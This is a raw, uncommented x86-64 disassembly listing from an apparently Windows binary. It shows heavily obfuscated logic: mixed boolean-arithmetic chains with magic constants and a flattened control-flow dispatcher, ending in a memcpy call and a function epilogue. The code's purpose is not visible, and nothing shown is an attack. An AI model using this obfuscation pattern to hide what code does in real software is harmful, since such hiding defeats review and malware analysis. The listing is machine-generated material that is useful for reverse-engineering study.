and eax, 0x53e1e300
or eax, edx
mov edx, eax
xor edx, 0x53e1e300
mov ebx, eax
xor ebx, 0x801c14e1
and ebx, 0x82fdd6e1
xor eax, 0xabce9f6f
and eax, edx
and edx, 0x7d02291e
or edx, ebx
mov esi, edx
xor esi, 0x7d02291e
mov edi, edx
xor edi, 0x7ad2aa8e
and edi, esi
mov ebx, edi
not ebx
mov ecx, ebx
and ecx, 0xfb1f71ce
and edi, 0x4e08e31
or edi, ecx
mov ecx, eax
not ecx
or ebx, ecx
and ecx, 0xfb1f71ce
and eax, 0x4e08e31
or eax, ecx
xor eax, edi
not ebx
or ebx, eax
mov eax, ebx
and eax, 0x7d08390
not ebx
and ebx, 0xf82f7c6f
or ebx, eax
xor edx, 0x82fdd6e1
or edx, esi
mov eax, edx
not eax
and eax, 0xa6d893a8
and edx, 0x59276c57
or edx, eax
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0x5f62a03a
and ebx, 0xa09d5fc5
or ebx, ecx
mov ecx, edx
xor ecx, 0x54c45
xor edx, 0xa6d893a8
or eax, edx
and edx, 0x5f62a03a
and ecx, 0xa09d5fc5
or ecx, edx
xor ecx, ebx
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0xae3c4900
and ecx, eax
mov edx, eax
or edx, 0x51c3b6ff
mov eax, edx
not eax
mov ebx, edx
and ebx, 0xd60db726
and eax, 0x28304800
or eax, ebx
mov ebx, ecx
not ebx
or edx, ebx
and ebx, 0xd60db726
and ecx, 0x29f248d9
or ecx, ebx
xor ecx, eax
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0xc4ea3d1c
and edx, 0x3b15c2e3
or edx, eax
mov eax, r9d
xor eax, 0x6cde72ef
and eax, r9d
and r8d, 0x4ce20e7
and r9d, 0x68105208
or r9d, r8d
xor r9d, 0x68105208
mov ecx, r9d
and ecx, eax
xor eax, r9d
mov ebx, edx
xor ebx, 0x1000280
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x93218d10
and eax, 0x6cde72ef
or eax, ecx
xor edx, 0x6ad6741c
mov ecx, edx
and edx, 0xfef9a977
and ebx, 0x1065688
or ebx, edx
mov edx, eax
not edx
or ecx, edx
and edx, 0xfef9a977
and eax, 0x1065688
or eax, edx
mov edx, ecx
not edx
xor eax, ebx
mov ebx, ecx
and ebx, 0xfe3360bd
and edx, 0x1cc9f42
or edx, ebx
mov ebx, eax
not ebx
or ecx, ebx
and ebx, 0xfe3360bd
and eax, 0x1cc9f42
or eax, ebx
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, ecx
mov ebx, ecx
and ebx, 0x91795da4
and eax, 0x6e86a25b
or eax, ebx
mov ebx, edx
not ebx
or ecx, ebx
and ebx, 0x91795da4
and edx, 0x6e86a25b
or edx, ebx
mov ebx, dword [0x1400508cc]
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xa453eff0
and eax, 0x5bac100f
or eax, ecx
xor eax, 0xa453eff0
cmp eax, 0xffffffff
setne r11b
sete r10b
cmp ebx, 9
setg r9b
cmp ebx, 0xa
setl r8b
mov eax, r10d
xor al, r8b
mov edx, r11d
or dl, r9b
xor dl, 1
or dl, al
mov eax, r11d
and al, r9b
mov ebx, r8d
and bl, r10b
or bl, al
xor bl, 1
or bl, r9b
mov eax, ebx
not al
and al, dl
xor dl, 1
mov ecx, edx
xor cl, bl
and cl, dl
and bl, dl
or bl, al
mov eax, ecx
xor al, 1
xor cl, bl
xor bl, 1
or bl, al
xor bl, 1
or bl, cl
mov esi, ebx
xor sil, 1
mov ecx, esi
and cl, bl
mov edx, ecx
xor dl, 1
xor cl, sil
or dl, bl
xor dl, 1
or dl, cl
xor dl, r9b
xor bl, r8b
or sil, r9b
xor sil, 1
or sil, bl
xor sil, 1
mov ecx, edx
and cl, sil
xor sil, dl
or sil, cl
mov ecx, esi
xor cl, 1
and sil, cl
mov edx, ecx
and dl, sil
xor sil, cl
or sil, dl
mov r8d, esi
xor r8b, 1
xor r10b, r11b
and r11b, r10b
mov ecx, r11d
xor cl, 1
mov ebx, ecx
and bl, r11b
xor cl, bl
xor bl, 1
or bl, r11b
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, r10b
and cl, bl
mov edx, ebx
and bl, r10b
xor r10b, 1
xor dl, 1
and dl, r10b
or bl, dl
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov edx, r9d
xor dl, bl
xor dl, 1
mov eax, ebx
xor al, 1
mov ecx, edx
xor cl, al
and cl, dl
and bl, al
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
xor bl, 1
mov eax, r9d
and al, bl
xor bl, r9b
or bl, al
xor bl, cl
and cl, bl
mov eax, ebx
xor al, cl
xor cl, 1
xor al, 1
or cl, bl
xor cl, 1
or cl, al
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor dl, 1
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov r10d, edx
xor r10b, 1
mov r9d, r8d
or r9b, dl
or bl, cl
mov r11d, ebx
xor r11b, 1
and r11b, r10b
and dl, bl
mov edi, r10d
and dil, bl
xor bl, r10b
or r10b, sil
mov ecx, r9d
xor cl, r10b
or r9b, r10b
xor r9b, 1
or r9b, cl
mov ecx, r9d
xor cl, r8b
xor r9b, cl
xor r9b, 1
and r9b, cl
or sil, r8b
mov ecx, esi
xor cl, 1
mov eax, esi
and al, cl
xor sil, al
xor al, 1
or al, cl
xor al, 1
or al, sil
xor al, r8b
mov r10d, r8d
xor r10b, cl
or cl, r8b
xor cl, 1
or cl, r10b
mov r8d, eax
xor r8b, cl
or cl, al
xor cl, 1
or cl, r8b
or dl, r11b
or bl, dil
xor bl, 1
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov eax, ebx
xor al, 1
and bl, al
xor bl, 1
mov edx, ebx
xor dl, al
or bl, al
xor bl, 1
or bl, dl
mov eax, ecx
xor al, 1
and al, bl
xor bl, 1
and bl, cl
or bl, al
mov r8d, r9d
xor r8b, 1
mov esi, ebx
xor sil, 1
mov eax, esi
and al, bl
mov ecx, esi
xor cl, al
xor al, 1
or al, bl
xor al, 1
or al, cl
mov r10d, r8d
xor r10b, r9b
and r10b, r8b
xor al, 1
or sil, bl
mov r11d, eax
or r11b, sil
xor sil, al
mov edi, r8d
xor dil, al
xor al, r9b
or r9b, r8b
mov ebx, r9d
xor bl, 1
mov edx, r10d
xor dl, 1
and bl, dl
or dl, r9b
and r9b, r10b
or r9b, bl
mov ebx, edx
xor bl, r9b
xor r9b, 1
or r9b, dl
xor bl, 1
xor r9b, 1
or r9b, bl
xor r11b, 1
mov edx, r11d
and dl, sil
xor sil, r11b
or sil, dl
mov edx, r9d
xor dl, 1
and r9b, dl
mov ebx, edx
and bl, r9b
xor r9b, dl
or r9b, bl
xor r9b, sil
mov edx, r9d
xor dl, 1
and dil, r8b
mov ecx, edi
and cl, al
xor al, dil
or al, cl
mov ecx, eax
xor cl, 1
and cl, r9b
or r9b, al
and al, dl
or al, cl
mov ecx, r9d
xor cl, al
test cl, 1
mov ecx, 0x4f4bba96
mov edx, 0x4bbe24e2
cmovne ecx, edx
test al, 1
mov eax, ecx
mov edx, 0x4f4bba96
cmovne eax, edx
test r9b, 1
cmovne eax, ecx
cmp eax, 0xf65f02e7
jg 0x140001cdb
jmp 0x140004d70
mov rdx, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x10]
sub rsp, 0x20
mov r8d, 0xfc69
call sub.VCRUNTIME140.dll_memcpy
add rsp, 0x20
mov eax, 0x5e26ff1f
cmp eax, 0xf65f02e7
jg 0x140001cdb
jmp 0x140004d70
mov al, byte [rbp - 0x22]
mov r11b, byte [rbp - 0x21]
mov edx, eax
xor dl, 1
mov edi, edx
or dil, al
mov r8d, edi
xor r8b, dl
mov r10d, edi
xor r10b, 1
mov ecx, edi
mov r9d, eax
and r9b, dl
mov r14d, r9d
xor r14b, 1
mov esi, r9d
xor sil, al
mov byte [rbp - 0x28], al
or r14b, dl
xor r14b, 1
or r14b, sil
and dil, r14b
xor r14b, 1
and r14b, r10b
and r10b, al
and cl, dl
or r10b, cl
or cl, r8b
and r8b, dl
mov edx, r8d
and dl, r10b
xor r10b, r8b
or r10b, dl
mov r13d, r11d
xor r13b, 1
mov edx, r13d
and dl, r11b
mov ebx, edx
xor bl, 1
mov r15d, r13d
xor r15b, dl
or bl, r11b
xor bl, 1
or bl, r15b
mov eax, ebx
xor al, 1
and al, bl
mov ebx, r11d
xor bl, r13b
and bl, r11b
xor bl, al
mov r12d, ebx
xor r12b, 1
and al, r12b
mov r8d, eax
xor r8b, 1
xor al, bl
or r8b, r12b
xor r8b, 1
or r8b, al
mov eax, r8d
xor al, 1
and al, r8b
xor al, 1
mov ebx, r8d
xor bl, al
or al, r8b
xor al, 1
or al, bl
mov r8d, r10d
xor r8b, 1
mov ebx, r8d
xor bl, al
xor bl, 1
or r8b, bl
and bl, al
xor al, r10b
and al, r10b
xor bl, 1
xor al, 1
mov r10d, ebx
xor r10b, al
or al, bl
xor al, 1
or al, r10b
mov r10d, eax
xor r10b, 1
mov r12d, eax
and r12b, r10b
mov ebx, r12d
xor bl, 1
xor r12b, al
or bl, r10b
xor bl, 1
or bl, r12b
mov r12d, ebx
and r12b, r8b
xor r10b, r8b
xor r8b, 1
xor bl, 1
and bl, r8b
or bl, r12b
or al, r8b
xor al, 1
or al, r10b
xor al, 1
mov r8d, ebx
and r8b, al
xor al, bl
or al, r8b
mov ebx, eax
xor bl, 1
mov r12d, eax
or r12b, bl
xor bl, r12b
or r12b, al
mov eax, r12d
xor al, bl
or r12b, bl
xor r12b, 1
or r12b, al
mov r8d, r12d
xor r8b, 1
or r14b, dil
xor cl, 1
mov eax, r14d
and al, cl
xor cl, r14b
or cl, al
mov ebx, ecx
xor bl, 1
mov eax, ebx
and al, cl
xor bl, al
xor al, 1
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, 1
mov ebx, eax
and bl, cl
mov r10d, r11d
mov edi, eax
and dil, bl
xor bl, al
xor al, r11b
and r11b, dl
xor r10b, dl
or r10b, r11b
or bl, dil
xor bl, r10b
xor bl, 1
or cl, r13b
xor cl, 1
or cl, al
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and cl, al
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov r10d, ecx
xor r10b, 1
and dl, r13b
or dl, r15b
mov eax, edx
xor al, 1
or al, dl
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
mov r11d, edx
and r11b, bl
xor dl, bl
or dl, r11b
xor dl, r13b
mov ebx, eax
and bl, r13b
xor al, r13b
or al, bl
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
xor al, 1
mov bl, byte [rbp - 0x28]
and r9b, bl
or r9b, sil
xor r9b, al
xor r9b, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, r9d
xor dl, al
or al, r9b
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and dl, al
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov eax, edx
xor al, 1
mov ebx, r10d
and bl, cl
and cl, dl
and dl, al
mov r9d, eax
and r9b, dl
xor dl, al
and al, r10b
or cl, al
mov eax, ecx
xor al, r10b
and al, cl
mov ecx, r10d
and cl, bl
xor bl, r10b
or bl, cl
or dl, r9b
mov ecx, ebx
xor cl, 1
and cl, dl
xor dl, 1
and dl, bl
or dl, cl
mov ecx, edx
xor cl, 1
mov ebx, edx
and bl, cl
mov r9d, ebx
and r9b, dl
xor bl, dl
or bl, r9b
mov r9d, ebx
xor bl, 1
and bl, al
or dl, al
xor al, 1
and r9b, al
or bl, r9b
xor cl, al
xor dl, 1
or dl, cl
xor dl, 1
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov eax, r8d
and al, r12b
xor al, 1
mov ecx, r12d
xor cl, al
or al, r12b
xor al, 1
or al, cl
mov r10d, eax
xor r10b, 1
mov ecx, r10d
and cl, al
mov ebx, r10d
and bl, cl
xor cl, r10b
or cl, bl
or r10b, al
mov eax, ecx
xor al, r10b
or r10b, cl
xor r10b, 1
or r10b, al
mov eax, edx
xor al, 1
mov r11d, edx
or r11b, al
mov edi, eax
and dil, dl
mov ebx, eax
and bl, dil
xor dil, al
or dil, bl
mov eax, r11d
xor al, dil
mov ebx, edx
and bl, r11b
xor r11b, dl
or r11b, bl
mov edx, eax
xor dl, r11b
or r11b, al
xor r11b, 1
or r11b, dl
mov r9d, r10d
xor r9b, 1
mov ebx, r9d
and bl, r10b
mov edx, r9d
and dl, bl
xor bl, r9b
or bl, dl
xor bl, 1
mov edx, ebx
and dl, r9b
xor bl, r9b
or bl, dl
or r12b, r8b
xor r12b, 1
mov edx, r8d
and dl, r12b
xor r12b, r8b
or r12b, dl
mov esi, r12d
xor sil, 1
mov r8d, r11d
xor r8b, 1
mov r15d, r8d
and r15b, r11b
mov edx, r15d
and dl, r8b
xor r15b, r8b
or r15b, dl
xor r15b, 1
mov edx, r15d
and dl, r8b
xor r15b, r8b
or r15b, dl
mov r14d, edi
xor r14b, 1
mov ecx, r14d
and cl, dil
mov edx, ecx
xor dl, 1
xor cl, dil
or dl, r14b
xor dl, 1
or dl, cl
xor dl, 1
mov ecx, ebx
and cl, r12b
xor r12b, bl
or r12b, cl
mov eax, ebx
xor al, sil
xor al, 1
and al, sil
or sil, bl
mov ecx, esi
xor cl, al
xor al, 1
xor cl, 1
or al, sil
xor al, 1
or al, cl
mov edi, eax
xor dil, 1
mov ebx, edi
and bl, al
xor bl, 1
mov esi, eax
xor sil, bl
or bl, al
xor bl, 1
or bl, sil
xor bl, r12b
mov eax, r12d
and al, dil
xor dil, r12b
or dil, al
xor dil, 1
mov eax, ebx
and al, dil
xor dil, bl
or dil, al
mov eax, r15d
xor al, dl
xor al, 1
mov esi, eax
or sil, r15b
and al, dl
or dl, r15b
xor dl, 1
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov eax, edx
xor al, 1
and dl, al
xor dl, 1
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
xor dl, sil
mov ebx, esi
and bl, al
xor al, sil
or al, bl
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov ebx, edi
xor bl, 1
mov edx, ebx
and dl, dil
xor dl, 1
mov esi, edi
xor sil, dl
or dl, dil
xor dl, 1
or dl, sil
mov esi, eax
and sil, dl
xor dl, 1
mov ecx, eax
xor cl, 1
and dl, cl
or dl, sil
xor dl, 1
or dl, cl
mov esi, edx
xor sil, 1
and al, bl
and cl, dil
or cl, al
xor bl, cl
and bl, cl
mov edi, ebx
xor dil, 1
and bl, dl
or dl, dil
xor dl, 1
and dil, sil
or dil, bl
mov ecx, edx
and cl, dil
xor dil, dl
or dil, cl
and r8b, r9b
mov ecx, r10d
and cl, r11b
or cl, r8b
xor r9b, cl
and r9b, cl
xor r11b, r10b
mov ecx, r9d
xor cl, 1
mov edx, r11d
xor dl, 1
and r11b, cl
or cl, dl
and dl, r9b
or dl, r11b
mov ebx, ecx
xor bl, dl
xor dl, 1
xor bl, 1
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
mov ebx, ecx
and bl, dl
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov r9d, ebx
xor r9b, 1
or cl, dl
mov edx, ecx
xor dl, 1
and dl, cl
mov r8d, ecx
and r8b, dl
xor dl, cl
mov r10d, r9d
and r10b, cl
xor cl, r9b
and r9b, bl
xor r9b, 1
mov eax, ebx
xor al, r9b
or r9b, bl
xor r9b, 1
or r9b, al
or dl, r8b
xor dl, r9b
or cl, r10b
xor dl, 1
mov eax, edx
xor al, cl
or dl, cl
xor dl, 1
or dl, al
mov ecx, edx
xor cl, 1
mov eax, edx
and al, cl
mov ebx, edx
xor bl, al
xor al, 1
or al, cl
xor al, 1
or al, bl
or cl, dl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
xor dil, 1
mov edx, edi
and dl, cl
xor cl, dil
or cl, dl
mov r8d, ecx
xor r8b, 1
mov edx, edi
xor dl, al
xor dl, 1
and dl, al
or dil, al
mov eax, edi
xor al, dl
xor dl, 1
xor al, 1
or dl, dil
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov r9d, r8d
and r9b, cl
and dl, al
mov ebx, r9d
xor bl, 1
xor r9b, r8b
or bl, cl
xor bl, 1
or bl, r9b
xor dl, 1
mov r8d, edx
xor r8b, al
or dl, al
xor dl, 1
or dl, r8b
xor dl, bl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x49ac6f7e
mov ebx, 0xbe8f3ad7
cmovne eax, ebx
test dl, 1
cmove eax, ebx
test cl, 1
mov ecx, 0x49ac6f7e
cmove eax, ecx
cmp eax, 0xf65f02e7
jg 0x140001cdb
jmp 0x140004d70
mov esi, dword [rbp - 4]
mov rcx, qword [rbp]
xor rcx, rbp
sub rsp, 0x20
call fcn.1400010e6
add rsp, 0x20
mov eax, esi
lea rsp, [rbp + 8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret